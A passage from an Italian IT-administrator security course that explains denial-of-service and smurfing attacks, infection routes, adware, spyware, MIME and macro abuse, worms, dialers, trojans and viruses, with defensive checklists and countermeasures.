Infatti, se il numero di richieste inviate per unit di tem-
po supera la capacit di evasione del sito, questultimo co-
mincer ad esserne subissato. Le richieste in arrivo (com-
prese quelle degli utenti "normali") inizieranno ad essere
accodate, causando progressivamente, a seconda dell'en-
tit dell'"ingorgo", ritardi sempre pi grandi, la saturazione
della coda, con perdita delle nuove richieste, o addirittura,
in casi estremi, il blocco del sistema. Di conseguenza, il ser-
vizio normalmente erogato dal sistema risulta sospeso,
inaccessibile agli utenti: di qui la definizione Denial of Ser-
vice (letteralmente, "negazione di servizio").
La principale forma di difesa per i fornitori del servizio
consiste nel predisporre barriere preventive (spesso sui fi-
rewall) per limitare il numero di richieste in entrata a un va-
lore sostenibile. In tal modo, il "volume di fuoco" scatena-
to dai pirati viene bloccato, o per meglio dire "modulato",
da questa prima linea di difesa, assai pi capace di resiste-
re rispetto al server vero e proprio. Non si tratta tuttavia di
una soluzione soddisfacente, in quanto protegge il server
dal rischio di collassare per l'eccessiva quantit di richie-
ste, ma non interrompe l'attacco, che continua a conge-
stionare la connessione di rete usata dal sito, e quindi non
garantisce che il servizio riesca a mantenere un throughput
normale (per throughput sintende la quantit di lavoro
che un computer riesce a svolgere per unit di tempo).
In alternativa, si pu tentare didentificare la macchina
usata per mandare i messaggi di disturbo e "bandirla", os-
sia cominciare a ignorare sistematicamente qualsiasi mes-
saggio provenga dal suo indirizzo. L'attaccante pu tuttavia
neutralizzare tale difesa mediante tecniche di "spoofing",
ossia falsificando l'indirizzo del mittente in tutti i pacchet-
ti che manda. Se in ogni pacchetto viene inserito un indi-
rizzo casuale, ogni volta diverso, un analizzatore di traffico
posto a difesa del sito non potr identificare nessun mit-
tente specifico da "bandire" e non potr quindi identifica-
re e scartare i pacchetti usati per l'attacco.
Non solo, ma anche ammettendo che l'attaccante non
usi la contromossa spoofing, la strategia di "imbavagliare"
un sito mittente per arginare l'attacco troppo "sbrigativa"
in quanto rischia di penalizzare utenti "innocenti" prove-
nienti dallo stesso sito: essi vedrebbero infatti rifiutate le lo-
ro richieste, che in base all'indirizzo di provenienza sareb-
bero tecnicamente considerate come partecipanti all'at-
tacco.
Ma si tratta solo di misure palliative: l'unica difesa effi-
cace consisterebbe nellimpedire l'attacco all'origine, ad
esempio ottenendo lidentificazione del responsabile me-
diante il contributo del system administrator del sistema
da cui provengono le richieste (cosa questa non sempre ba-
nale tecnicamente, per non parlare degli aspetti legali con-
nessi al tema della privacy).
Per aumentare ulteriormente la violenza di questo tipo
di attacchi, e per aggirare le forme di difesa fin qui descrit-
te, esiste la variante Distributed Denial of Service (DDoS) in
cui gli hacker fanno in modo far provenire le richieste, per
esempio a rotazione, da un gran numero dindirizzi diversi
(anche centinaia di migliaia), in modo che da un lato risul-
ti difficile individuare chiaramente gli indirizzi responsabi-
li dell'attacco, e dall'altro non risulti accettabile bandire
troppi indirizzi per il rischio di penalizzare gli utenti "nor-
mali" provenienti dagli stessi indirizzi. Senza contare che gli
indirizzi di provenienza indicati nei pacchetti delle richie-
ste potrebbero essere fasulli.
Per "convincere" migliaia di sistemi a "partecipare" in-
consapevolmente a un attacco DDoS, gli hacker possono
per esempio immettere in rete un virus programmato per
rimanere quiescente e diffondersi rapidamente fino a una
certa data prestabilita, per poi attivarsi improvvisamente e
simultaneamente in tutto il mondo, indirizzando un volume
abnorme di richieste a un solo sito Web prefissato.
Un'altra tecnica che gli aggressori possono impiegare
per aumentare il proprio potere di disturbo detta "smur-
fing" e sfrutta sottilmente una particolarit di funziona-
mento del comando PING e del modo in cui sono trattati i
suoi pacchetti. L'idea consiste nellusare una rete R di sva-
riati host come "cassa di risonanza" e di rovesciare poi il
"suono amplificato" sull'host H da attaccare. Per questo,
l'attaccante invia un pacchetto PING, in cui ha falsificato
l'indirizzo del mittente inserendo quello dell'host H, verso
l'indirizzo di broadcast della rete R. I pacchetti vengono in
tal modo inviati a tutti gli host della rete R. Ciascuno di es-
si risponder al ping mandando un pacchetto di risposta al-
l'indirizzo del mittente... che come abbiamo detto stato
impostato all'indirizzo di H. Questo effetto "moltiplicatore"
consente all'attaccante di amplificare il proprio potere di
disturbo e di asservire intere reti al proprio fine, inondan-
do l'host attaccato di risposte PING provenienti da una plu-
ralit dindirizzi origine. Le difese contro questo tipo di at-
tacco richiedono che i router delle varie reti "non si pre-
stino al gioco" e blocchino automaticamente flussi di traf-
fico di natura chiaramente sospetta quando li rilevano. Ma
reti e router su Internet sono centinaia di migliaia o milio-
ni ed sempre possibile che ve ne sia qualcuna non per-
fettamente protetta e che l'hacker la scopra e tenti di sfrut-
tarla.
Vie di accesso al PC
Abbiamo visto che uno dei modi per scatenare effetti in-
desiderati nei programmi sfruttandone difetti e vulnerabi-
lit consiste nel fornire dati "opportunamente" scelti in in-
put.
Ma quali sono le strade attraverso le quali pu passare
questo flusso di dati? E in quali circostanze tali strade ri-
sultano effettivamente aperte e percorribili?
Un computer collegato con l'ambiente esterno trami-
te periferiche e porte di rete. Va detto subito che non tutte
presentano uguale criticit. Alcune, come le connessioni di
rete, possono essere esposte in modo continuativo a in-
trusioni interamente dovute a cause esterne. Altre, come le
unit floppy o CD-ROM, possono rappresentare una via
d'entrata solo a condizione che l'inconsapevole utente in-
serisca un supporto ed apra applicazioni o dati che vi so-
no presenti.
Ci significa che le misure preventive dovranno avere
modalit adatte alla tipologia della via d'accesso.
Floppy disk. Il maggior rischio con i floppy disk si corre
quando li si dimentica nel drive e si spegne il PC. Alla riac-
censione, se non ci si ricorda di estrarre il disco, il sistema
tenter anzitutto, nel 99% dei casi, di effettuare l'avvio del
sistema operativo (bootstrap) dal floppy, prima di ripiega-
re sul "classico" avvio da hard disk. Questa infatti l'impo-
stazione pi comune a livello di BIOS.
Come si sa, se il floppy non avviabile, a seconda della
versione di DOS o Windows apparir un messaggio del tipo
"Non-system disk or disk error. Please insert a valid boot di-
sk and press any key". Ci che non tutti sanno che tale
messaggio non visualizzato dal BIOS, ma da un piccolo
programma che si trova nel boot sector del floppy stesso.
In altre parole, nel momento in cui ci viene comunicato che
il floppy non avviabile, del software residente su di esso
stato comunque gi eseguito ed stato proprio quel
software a chiederci di cambiare disco e riavviare.
Sfortunatamente tale sistema fa s che se un virus riesce
a installarsi nel settore di boot di un floppy, nello scenario
sopra descritto sar eseguito prima che ce ne accorgiamo.
Oltretutto i virus di questo tipo sono astutamente proget-
tati in modo da emettere esattamente il "normale" mes-
saggio di disco non avviabile, cos da non mettere in allar-
me l'utente. Una volta apparso il messaggio, insomma, il no-
stro sistema potenzialmente gi infettato dal virus, che ha
immediatamente provveduto a trascriversi su qualche
area del disco fisso (per esempio, il relativo settore di boot)
PC Open www.pcopen.it 86
5.5.1.6 Conoscere
le vie d'accesso ad
un sistema
informatico: floppy,
CD-ROM, email,
navigazione web,
client di chat.
Lezione 5 IT Administrator - Sicurezza informatica
in modo tale da essere rieseguito anche al prossimo avvio,
quando il floppy sar rimosso dal lettore.
Check list per la prevenzione degli attacchi
Dotarsi di una soluzione antivirus efficace e tenere
regolarmente aggiornato il pattern file che contiene le
firme per identificare i vari tipi di virus; far eseguire
periodicamente scansioni totali del sistema; analizzare
con l'antivirus programmi e file appena scaricati prima di
eseguirli o di aprirli.
Installare uno strumento antimalware con protezione in
tempo reale; abilitare l'aggiornamento automatico;
eseguire comunque periodiche scansioni complete del
sistema.
Visitare regolarmente i siti dei produttori del sistema
operativo e del software applicativo utilizzato sul proprio
sistema e scaricare e installare gli eventuali
aggiornamenti relativi alla sicurezza.
Scegliere tutte le password in modo opportuno (e diverse
tra loro) e cambiarle periodicamente (vedi la lezione 2
per lapproccio corretto nella scelta di una password).
Installare un firewall e configurarlo con un insieme
equilibrato di restrizioni e controlli sul traffico di rete.
Se possibile, evitare di lasciare il computer acceso e
collegato in rete quando non lo si usa. Disabilitare
opzioni come la condivisione di file e stampanti, se non
necessarie.
Evitare di aprire gli attachment di email senza averli
prima esaminati con un antivirus e disattivare sul
programma di posta elettronica ogni eventuale funzione
di anteprima messaggio. Se presente, utilizzare la
funzione che disabilita il caricamento delle immagini
presenti nelle mail. Caricare le immagini solo dopo aver
verificato che la mail proviene da un indirizzo fidato.
Nell'installare e configurare un nuovo programma,
diffidare delle opzioni "anteprima" e di quelle che
abilitano l'esecuzione automatica di script e macro
all'apertura dei documenti; riflettere sempre anche sulla
reale necessit di attivare quelle che comportano
connessioni automatiche a siti Web da parte del
programma.
Durante la navigazione Web e nella lettura delle mail:
o diffidare delle URL misteriosamente lunghe e
contenenti lunghe sequenze di valori esadecimali o,
peggio, codice JavaScript;
o diffidare dei dialog box che propongono l'installazione
di plug-in, "viewer" e applicativi vari, anche se firmati in
modo digitale, se l'autore ignoto;
o tenere il browser impostato su un livello di sicurezza
"medio" o "alto"
Evitare sempre di avviare il sistema con un floppy di
dubbia provenienza (o usato in precedenza su altri
sistemi poco controllati). Tenere sempre a disposizione
un disco di avvio, protetto da scrittura, che sia stato
controllato con un antivirus aggiornato.
..e, naturalmente, eseguire sempre regolarmente il
backup dei propri dati, per essere preparati all'evenienza
che le misure preventive sopra suggerite non fossero suffi-
cienti.
Adware
Adware l'abbreviazione di "advertising-supported
software". Vanno sotto questo nome quei programmi gra-
tuiti il cui produttore si finanzia attraverso l'introito pub-
blicitario relativo a piccoli "banner" o pop-up windows che
compaiono, spesso con aggiornamento periodico, nellin-
terfaccia grafica dell'applicazione. Talvolta l'adware an-
che disponibile in versione "ad-free", priva dei noiosi mes-
saggi pubblicitari per a pagamento.
Fin qui nulla di grave: si tratta solo di una forma di au-
tofinanziamento che, se attuata apertamente e accettata
dall'utente, dopotutto significa anche poter disporre legal-
mente di software del tutto gratuito.
Il problema sta piuttosto nel fatto che spesso il softwa-
re adware cede alla tentazione di diventare anche un p
spyware, ossia raccoglie informazioni sulle abitudini Web
dell'utente, magari per personalizzare i messaggi pubblici-
tari e raccogliere tariffe pi alte dagli inserzionisti. Un clas-
sico esempio Kazaa. Anche qui tutto bene, a condizione
che l'utente sia messo al corrente di quanto avviene in
background mentre usa il programma. In molti casi cos
(anche se le relative informazioni sono magari annegate in
un mare di clausolette scritte in piccolo nell'accordo di li-
cenza che viene presentato all'atto dell'installazione e che
in pratica nessuno legge mai), ma si sospetta che in molti
casi gli adware funzionino anche come spyware senza di-
chiararlo chiaramente.
Spyware
Uno spyware un programma progettato per racco-
gliere segretamente informazioni sulla macchina in cui
installato e poi trasmetterle via rete a un sito di raccolta.
Lo scopo pu essere dinviare pubblicit non richiesta
(spam), oppure di scoprire informazioni sensibili come
password e codici di carte di credito.
La raccolta dinformazioni pu avvenire attraverso
un'ispezione dei cookie del browser o dei file trovati sui
dischi di sistema, ma pu anche eseguire un monitoraggio
dei tasti premuti o dei siti Web visitati.
La trasmissione delle informazioni al sistema di rac-
colta avviene via rete e ci significa che nei casi pi sem-
plici, con l'installazione di un firewall, risulta possibile in-
dividuare e bloccare il tentativo di connessione verso il si-
to remoto. Se tuttavia lo spyware riesce a integrarsi con
un programma normalmente autorizzato ad aprire con-
nessioni in rete, come un web browser, la connessione
sar molto pi difficile da individuare in quanto figurer
come aperta dal browser stesso e una simile azione, na-
turalmente, non rappresenta in generale un comporta-
mento sospetto per un web browser.
Anche in questo caso la protezione non pu che esse-
re basata su regolari ispezioni con antimalware specializ-
zati, come i ben noti Ad-Aware o SpyBot, o lo strumento
antimalware di Microsoft. Come nel caso dei dialer, inol-
tre, sempre raccomandabile prestare estrema attenzio-
ne prima di accettare richieste dinstallazione di plug in o
applicazioni proposte da dialog box dal tono "rassicu-
rante" durante una sessione di navigazione web.
In ambito PC consumer, uno dei canali dingresso pi
probabili dello spyware sul sistema rappresentato dal-
l'installazione di freeware o shareware trovati in rete. An-
che le copie pirata di programmi possono contenere "sor-
prese": gli sviluppatori degli spyware possono usarle co-
me "esca avvelenata". Si noti che se lo spyware nuovo,
n l'antivirus n l'antimalware lo riconosceranno finch
non sar scoperto, documentato e aggiunto al prossimo
aggiornamento della signature list: perci se lo spyware
riesce a installarsi saremo condannati ad averlo sul no-
stro sistema, a nostra insaputa, per un certo periodo di
tempo.
Pertanto l'unica misura efficace in questo caso un
comportamento prudente: scaricare freeware e sharewa-
re solo da siti fidati, solo se gi noti, preferibilmente con
"contatore dei download" gi molto alto, ed evitare nel
modo pi assoluto di scaricare e installare programmi pi-
rata.
Concludiamo osservando che in alcuni casi, analoga-
mente a quanto visto per gli adware, l'installazione dello
spyware in concomitanza con quella di un freeware o sha-
reware prevista ed esplicitamente indicata nell'accordo
di licenza o in qualche README, anche se in genere "mi-
metizzata" in mezzo a miriadi di note legali che raramen-
te vengono lette.
PC Open www.pcopen.it 87
5.5.1.7 Sapere quali
buone prassi (good
practices)
considerare negli
accessi ad Internet.
5.5.1.8 Conoscere i
rischi legati ai
programmi adware e
agenti spyware.
ITAdministrator - Sicurezza informatica Lezione 5
Tipi di file
In ambiente Windows ogni volta che in una finestra di
Esplora risorse (Windows Explorer) viene selezionato e
aperto un file, l'azione da compiere dipende dal suo tipo, ri-
velato dal suffisso del suo nome. Se si tratta di una delle va-
rie tipologie di file eseguibili oppure di uno script (quindi
con estensioni come EXE, COM, BAT, VBS, PL, TCL..), l'ef-
fetto di Apri quello di mandare direttamente in esecuzio-
ne il programma o script contenuto nel file selezionato. Se
invece il file un file di dati, "aprirlo" significa in realt lan-
ciare un programma in grado di trattarlo e poi fare in mo-
do che sia quel programma a caricare in memoria il file e ad
elaborarlo nel modo dovuto. Per fare questo, Windows Ex-
plorer ha bisogno di una tabella che associ un programma
ad ogni possibile suffisso di file. La tabella contiene gi un
buon numero di associazioni standard quando Windows
viene installato, ma successive installazioni di nuovi pro-
grammi tipicamente comportano l'aggiunta di nuovi tipi di
file noti, con suffissi diversi da quelli gi trattati, e nuove ri-
ghe in tabella. In alcuni casi, la nuova applicazione instal-
lata in realt in grado di gestire tipi di file per i quali era
gi presente una applicazione idonea ( il caso, per esem-
pio, dell'installazione di un player multimediale).
Tuttavia, per ogni tipo di file deve esserci una sola ap-
plicazione registrata. Pertanto in tal caso, tipicamente, il
programma di installazione della nuova applicazione chie-
de il permesso di registrarsi sui tipi di file per i quali risul-
ta gi registrato un altro programma. Autorizzandolo a far-
lo, l'applicazione precedente rimarr installata, ma non
sar pi chiamata in causa automaticamente all'apertura di
un file seppure di tipo da essa gestibile.
Estensione e tipo MIME associati
Nel caso degli allegati a messaggi di posta elettronica,
spesso il tipo non desumibile dal suffisso del file, che pu
anche mancare o essere irriconoscibile in quanto "nato" su
un sistema diverso, con convenzioni diverse per il ricono-
scimento dei tipi di file. Viene quindi in aiuto un sistema au-
siliario per denotare il tipo di dati contenuti nell'attach-
ment, che consiste nel dichiararne il tipo. In contesto di po-
sta elettronica e messaggistica Internet si parla precisa-
mente di MIME Type (dove MIME sta per Multipurpose In-
ternet Mail Extensions). Lo standard MIME specificato
dalla RFC 2046, www.mhonarc.org/~ehood/MIME/2046/
rfc2046.html
Per la cronaca, il MIME Type usato anche per dichia-
rare il tipo dei dati inviati come pagina web. Per esempio,
una semplice pagina HTML di MIME type "text/html",
mentre tipi multimediali o costituiti da dati binari avranno
tipi diversi, come "octet-stream", "audio", "video" e cos via,
spesso seguiti da un qualificatore che precisa il sottotipo
esatto. Esiste anche una forma di messaggio eterogeneo,
composito, definito "multipart", in cui ogni parte pu es-
sere di tipo MIME elementare diverso e il "confine" tra le
parti composto da una stringa piuttosto lunga scelta in
modo tale che sia veramente improbabile trovarne una
identica per coincidenza all'interno di una delle parti che
essa deve delimitare. Il MIME type in questo tipo " Con-
tent-Type: multipart/mixed; boundary=....stringa_delimita-
trice.... ".
Il tipo MIME importante perch rappresenta il criterio
con cui web browsers e mail client riconoscono il tipo di un
allegato e quindi stabiliscono come trattarlo. In ambiente
Windows esiste gi una definizione dei tipi riconosciuti da
Esplora Risorse (Windows Explorer, la shell di Windows).
Per accedervi basta selezionare Strumenti/Opzioni Cartel-
la/Tipi di file (figura 2). Generalmente, web browser e mail
client ereditano tali impostazioni e ne fanno uso per sape-
re come gestire i MIME type in arrivo dalla rete. L'applica-
zione associata a un determinato MIME type spesso defi-
nita "helper application".
Sono documentati attacchi mirati a sfruttare difetti im-
plementativi del codice che stabilisce il trattamento da da-
re agli allegati (nei mail client) o ai file scaricati (nei web
browser). Detti attacchi possono puntare a mandare in
confusione l'applicazione dichiarando un MIME type di-
verso da quello reale, oppure montare un attacco contro
una helper application inviando un file dichiarandolo del
MIME type opportuno e definendone appositamente i con-
tenuti per provocare un buffer overflow.
Codice scaricabile
Abbiamo gi visto i meccanismi di base con cui una mac-
china pu essere programmata e alcuni meccanismi d'in-
trusione e di attacco.
importante conoscere gli scenari operativi nei quali ta-
li tecniche vengono combinate per raggiungere lo scopo
degli attaccanti, ossia linstallazione e il lancio di codice
eseguibile indesiderato sul sistema vittima. Escludendo il
caso eclatante di applicazioni "piratate" scaricate dalla re-
te e installate, vi sono modi pi sottili che possono ingan-
nare anche gli utenti pi cauti. A tale scopo citiamo breve-
mente un paio di scenari tipici, che rientrano nel pi ampio
contesto dell'utilizzo del PC in rete: Internet con le sue ap-
plicazioni (in primis, il Web e le email) infatti diventato il
canale d'infezione "preferenziale" per i personal computer.
Uso illecito delle macro e possibili contromisure
Un primo caso quello di applicazioni anche apparen-
temente estranee all'esecuzione di codice, come i word
processor, che grazie alla loro capacit di eseguire macro
possono essere sfruttate per l'attacco. In tal caso il codice
maligno entra nel nostro sistema nascosto nei documenti:
l'ingresso pu avvenire mediante download (ad esempio,
quando uno dei risultati di un motore di ricerca in for-
mato DOC o PPT anzich HTML) oppure come allegato di
un messaggio di posta elettronica. In qualche caso il lin-
guaggio macro dispone di potenzialit notevoli, come quel-
la di eseguire comandi di shell o chiamare librerie di siste-
ma. La contromisura principale consiste nel disabilitare del
tutto le macro o nel condizionarne l'esecuzione a una espli-
cita autorizzazione da richiedere all'utente.
Uso illecito dei tipi MIME e possibili contromisure
In un secondo caso vengono sfruttate eventuali vulne-
PC Open www.pcopen.it 88
Figura 2 - Tipi di file
5.5.3 Codice
scaricabile
5.5.3.1 Sapere che le
applicazioni possono
gestire pi di
semplice testo
eseguendo comandi
di SO tramite le
macro.
5.5.3.3 Sapere in che
modo i
malintenzionati
possono far uso
illecito delle macro, e
le possibili
contromisure.
5.5.3.2 Sapere in che
modo i
malintenzionati
possono far uso
illecito dei tipi MIME,
e le possibili
contromisure.
5.5.2 Tipi di file
5.5.2.1 Sapere in
che modo
l'interfaccia grafica
(GUI) riconosce
l'azione da eseguire
su un file tramite
l'estensione e tipo
MIME associati.
5.5.2.2 Sapere in
che modo il client di
posta riconosce
l'azione da eseguire
su un allegato
tramite l'estensione
e tipo MIME
associati.
Lezione 5 IT Administrator - Sicurezza informatica
rabilit dei pi diffusi web browser o client di posta elet-
tronica in termini di gestione dei tipi MIME. L'attaccante
pu organizzare le cose in modo tale da mandare, per
esempio, un tipo MIME dal nome troppo lungo, oppure uno
che risulti incoerente con il reale tipo del contenuto spe-
dito, oppure associato con una "helper application" dalla
vulnerabilit nota (e sfruttata dall'allegato che lo accom-
pagna). Per esempio, gi nel 2001 fu scoperta una vulnera-
bilit di Internet Explorer che consentiva all'attaccante di
far eseguire codice arbitrario sul PC client semplicemente
segnalando un particolare MIME type. Purtroppo, di solito
la segnalazione del MIME Type di un allegato o di un con-
tenuto Web non un'indicazione visibile per l'utente finale,
ma riguarda il dialogo tra web server e web browser, per
aiutare quest'ultimo a selezionare il viewer pi opportuno.
La difesa, ancora una volta, non pu che essere quella di in-
stallare regolarmente gli aggiornamenti di security per il
proprio browser, scegliere un browser di progettazione re-
cente e non troppo diffuso, evitare per quanto possibile di
visitare siti non "fidati".
Uso illecito di applet, e le possibili contromisure
Contenuti attivi su pagine Web
Potenziali falle nella sicurezza dei web browser sono
aperte dalla possibilit di eseguire piccoli programmi (Ap-
plet Java, codice JavaScript, controlli ActiveX) ospitati dal-
le pagine Web visitate.
Sebbene alcune di tali tecnologie siano state accurata-
mente progettate per prevenire gli abusi, i browser posso-
no ancora contenere errori dimplementazione tali da va-
nificare tanto rigore, in tutto o in parte. Non potendo mai
essere certo dell'assenza di simili situazioni, l'utente deve
quindi, ancora una volta, mettere in atto qualche forma di
prevenzione.
La contromisura pi semplice, che consiste nel disabili-
tare l'opzione citata, impoverisce troppo i siti Web le cui pa-
gine sono ricche di contenuti dinamici e non la si pu con-
siderare pienamente soddisfacente. invece preferibile do-
tarsi di un antivirus capace di bloccare anche questo tipo
di aggressioni. Inutile dire che sempre necessario abi-
tuarsi a scaricare e installare immediatamente gli aggior-
namenti di sicurezza del proprio browser. Pu anche esse-
re utile valutare se cambiare browser: non tutti i browser,
infatti, sono ugualmente esposti ad attacchi, in quanto al-
cuni sono di progettazione pi recente e pi accurata. Inol-
tre gli attacchi tendono a concentrarsi sui browser pi dif-
fusi, per aumentare la probabilit di entrare in contatto con
potenziali "prede".
Altre minacce via rete
Ricordiamo infine che, al di l del software "dimporta-
zione" (virus, worm e trojan horse cavalli di troia, senza
dimenticare le macro e gli applet) anche il software "legit-
timamente" residente sul PC, ossia il sistema operativo, il
web browser e qualsiasi applicazione capace dinteragire in
rete possono avere problemi di sicurezza tali per cui una
volta che il PC sia collegato in rete diventa possibile, per un
attaccante operante dalla rete stessa, sfruttare questi pun-
ti deboli per collegarsi al PC locale, senza bisogno dell'in-
consapevole "collaborazione" dell'utente. Infatti, essendo
la "falla" gi presente sul sistema, non occorre indurre l'u-
tente a installare virus o ad aprire allegati: si pu diretta-
mente sfruttarla, collegandosi via rete.
L'attaccante pu cos, rimanendo sostanzialmente ano-
nimo, causare una serie di danni che vanno da un generico
rallentamento della macchina, (una sorta di attacco DoS)
all'esecuzione o installazione involontaria di codice estra-
neo, all'accesso non autorizzato alle informazioni presenti
sul disco locale, fino all'acquisizione del controllo, in forma
pi o meno completa, della macchina stessa.
I produttori di software periodicamente vengono a co-
noscenza di questi attacchi e rendono disponibili sul pro-
prio sito web, degli aggiornamenti gratuiti (security fix, o
patch) che eliminano la vulnerabilit del sistema correg-
gendo l'errore e "chiudendo", per cos dire, la porta alle in-
trusioni che sfruttano un particolare punto di debolezza.
La pi elementare forma di difesa "curativa" contro gli
attacchi noti consiste nel controllare frequentemente sul si-
to del produttore e nel verificare se sono disponibili nuovi
aggiornamenti e, in caso affermativo, scaricarli e installar-
li immediatamente.
Una misura di difesa "preventiva", senza dubbio racco-
mandabile e complementare rispetto alla precedente, con-
siste invece nell'installazione di un firewall che blocchi le
connessioni di rete entranti non autorizzate. Si rimarr pro-
babilmente stupiti dal numero di tentate connessioni pro-
venienti dall'ambiente esterno anche in condizioni di quie-
te! Questa sorta di "rumore ambientale", che inizia non ap-
pena ci si collega in rete, composto in parte da meccani-
smi standard Internet, come il PING che l'ISP pu mandare
per sondare la "vitalit" del nostro sistema, e da possibili at-
tacchi. Il filtraggio preventivo di queste connessioni
un'ottima strategia per conoscere e ridurre la minaccia.
Codice virale
Nel campo del codice virale esistono categorie canoni-
che ben identificate sia per quanto riguarda la tecnica di
dissimulazione o infezione (trojan horse e virus) sia per
quanto riguarda lo scopo del codice stesso (worm, dialer,
oltre agli spyware a cui si gi accennato).
I Worm
I worm (letteralmente "vermi") sono programmi di di-
sturbo che non danneggiano le informazioni presenti sul si-
stema, ma lo sfruttano per fini particolari o lo rallentano
eseguendo operazioni inutili oppure riempiono il disco
dinformazioni inutili.
Lo scopo pu essere semplicemente di disturbare l'u-
tente del sistema senza creare reali danni "acuti" come la
perdita di dati, oppure quello pi insidioso di sfruttare la
potenza di calcolo dei computer altrui per scopi pi o me-
no illeciti (vedi pi avanti i trojan horse, alias cavalli di
Troia). I worms possono essere progettati per "infestare"
un singolo sistema oppure per diffondersi in rete, ma il con-
cetto non cambia.
Tra i worm diffusi via rete e progettati per interferire con
il funzionamento dei sistemi in rete, celebre il caso del-
l'Internet Worm che nel 1988, sfruttando per propagarsi
una vulnerabilit del demone sendmail dei sistemi Unix,
riusc a quasi paralizzare Internet per un paio di giorni.
Se un sistema fa registrare un improvviso decadimento
delle prestazioni che persiste anche dopo un riavvio, op-
pure se lo spazio su disco si riduce fino a quasi esaurirsi
senza che siano stati consapevolmente installati nuovi pro-
grammi o nuovi file, si pu sospettare la presenza di un
worm. La contromisura sempre costituita dall'uso fre-
quente di programmi antivirus aggiornati con regolarit.
Dialer
Come suggerisce il nome, un dialer un programma che
"compone un numero di telefono" per mezzo del modem.
Lo scopo sempre di procurare guadagni al titolare del nu-
mero chiamato, che generalmente un numero a paga-
mento oppure un numero appartenente a una rete telefo-
nica di un Paese remotissimo in cui la struttura tariffaria
consente al chiamato di percepire una parte dell'elevatis-
simo prezzo pagato dal chiamante per la telefonata. Per il
suo funzionamento, il dialer ha bisogno di un modem tra-
dizionale su rete analogica: una connessione DSL o fibra ha
uno schema di tariffazione che non rende possibile per il
"chiamato" incassare un guadagno dalla "chiamata".
PC Open www.pcopen.it 89
5.5.3.4 Sapere in
che modo i
malintenzionati
possono far uso
illecito di applet, e le
possibili
contromisure.
5.5.4 Codice virale
5.5.4.1 Conoscere le
principali categorie di
codici virali (trojan,
virus propriamente
detti, worm,
eccetera).
ITAdministrator - Sicurezza informatica Lezione 5
L'installazione involontaria di un dialer e il suo funzio-
namento fuori controllo per lunghi periodi (magari mentre
il PC lasciato acceso incustodito e con il modem collega-
to e acceso) possono causare addebiti "apocalittici" in bol-
letta, se si pensa che chiamare certi numeri pu costare ol-
tre un euro al minuto.
Le misure di protezione consistono nella bonifica pe-
riodica del PC con un antivirus e antimalware aggiornato,
nell'esercitare estrema cautela quando un sito web offre di
scaricare e installare un controllo ActiveX o un programma,
nel lasciare il modem (se presente) scollegato dalla rete te-
lefonica o spento.
Trojan horse (letteralmente "cavalli di Troia")
Si tratta di una tecnica di dissimulazione in cui pro-
grammi in apparenza innocui (spesso con un nome, una di-
mensione, un'icona ed altri particolari che li fanno assomi-
gliare in tutto e per tutto a programmi noti e diffusi) cela-
no invece algoritmi mirati a violare la sicurezza del sistema
su cui vengono eseguiti (per esempio cercando sul disco ri-
gido file con informazioni riservate, che vengono raccolte
e poi inviate di nascosto a un apposito sito di raccolta) o a
minarne la stabilit, per esempio causando intenzional-
mente errori di sistema, per rallentare o paralizzare il nor-
male funzionamento del sistema operativo o di qualche
programma in particolare.
Viste le sue propriet, un trojan horse pu funzionare da
"vettore virale" per installare di nascosto un virus o un dia-
ler sul sistema. In questo caso, per, al suo interno ne-
cessariamente presente il codice del virus o del dialer, e un
programma antivirus o antimalware con funzioni di pre-
venzione pu rilevarlo e bloccarlo a meno che il trojan non
adotti tecniche crittografiche per occultarlo. In quest'ulti-
mo caso il rilevamento preventivo potrebbe risultare im-
possibile; dunque la principale speranza di difesa consiste
nell'effettuazione di scansioni regolari con antivirus o anti-
malware, che dovrebbero almeno riuscire a rilevare l'ospi-
te indesiderato una volta installato. Naturalmente, meno
frequenti sono le scansioni integrali periodiche e pi tem-
po avr tale ospite per apportare danni al sistema, per ri-
prodursi o per installarsi in modo non rilevabile.
Virus
Proprio come quelli biologici, i virus per computer sono
costituiti essenzialmente da un programma (equivalente
del DNA) e dalle risorse necessarie per impiantarsi nell'or-
ganismo ospite e per iniziare a riprodursi sfruttandone le ri-
sorse ai propri fini, per poi diffondere all'interno e all'e-
sterno di esso innumerevoli nuove copie identiche (o mu-
tanti) di se stessi. Oltre a quello di riprodursi e diffondersi,
i virus possono avere lo scopo di danneggiare o spiare le
informazioni o i programmi presenti sul sistema su cui ri-
siedono.
Un virus per computer non altro che un particolare ti-
po di programma: quindi, come tutti i programmi, per po-
ter agire ha bisogno di essere mandato in esecuzione, in
questo caso per all'insaputa dell'utente. Per questo ti-
pico che un virus si autoinstalli in modo tale da essere ese-
guito automaticamente all'avvio del sistema oppure all'av-
vio di qualche programma usato di frequente. In ogni caso
il virus ha bisogno di sopravvivere alla riaccensione del si-
stema, quindi deve memorizzarsi su memoria non volatile
scrivibile (hard disk, floppy disk, flash drive) e qui, come
sappiamo, pu essere localizzato da programmi (gli antivi-
rus) che ispezionino il contenuto di tutti i file alla ricerca
della sequenza di codici corrispondente al programma di
un virus noto.
Come vedremo in dettaglio pi avanti parlando della tec-
nologia antivirus, questa forma di difesa efficace soltan-
to contro virus gi noti: i virus non ancora catalogati non
possono essere riconosciuti. In assenza dinformazioni
specifiche, per contrastarli possibile solo una generica vi-
gilanza sui comportamenti anomali e potenzialmente so-
spetti (come la modifica dei file eseguibili); sfortunata-
mente l'efficacia di tali misure, considerate da sole, non
assoluta e soprattutto, come chiariremo poi, sono sempre
probabili i falsi allarmi.
Perci tassativamente necessario aggiornare costan-
temente e frequentemente il proprio antivirus, scaricando
e installando i "pattern file" (o "signature file") aggiornati
dal sito del produttore (in molti casi, per accedervi ne-
cessario sottoscrivere un abbonamento). Un antivirus non
aggiornato difende solo dai virus creati (e noti) fino a una
certa data, ma non da quelli comparsi successivamente,
che oltretutto sono proprio quelli con cui pi probabile
entrare in contatto, in quanto, essendo ancora rari i siste-
mi attrezzati per identificarli e bloccarli, la loro diffusione
trova pochi ostacoli.
Il principio base da tenere sempre presente che i virus
si diffondono mediante esecuzione di programmi infetti.
Come gi osservato, un virus non pu riprodursi e non pu
creare danno se non esplicitamente eseguito (anche se ma-
gari in modo inconsapevole). In passato, quindi, era suffi-
ciente prestare attenzione ai nuovi programmi prima di
mandarli in esecuzione.
Esistono tuttavia da tempo numerosi programmi di lar-
ghissima diffusione (come la stessa suite Office) che risul-
tano programmabili (funzione "Macro") per automatizzare
attivit frequenti, per personalizzare l'effetto di menu o
bottoni, o per rendere pi o meno "attivo" il contenuto dei
documenti. Il problema sta nel fatto che in certi casi il loro
linguaggio di programmazione talmente potente da per-
mettere anche la realizzazione di un virus, e infatti tale pos-
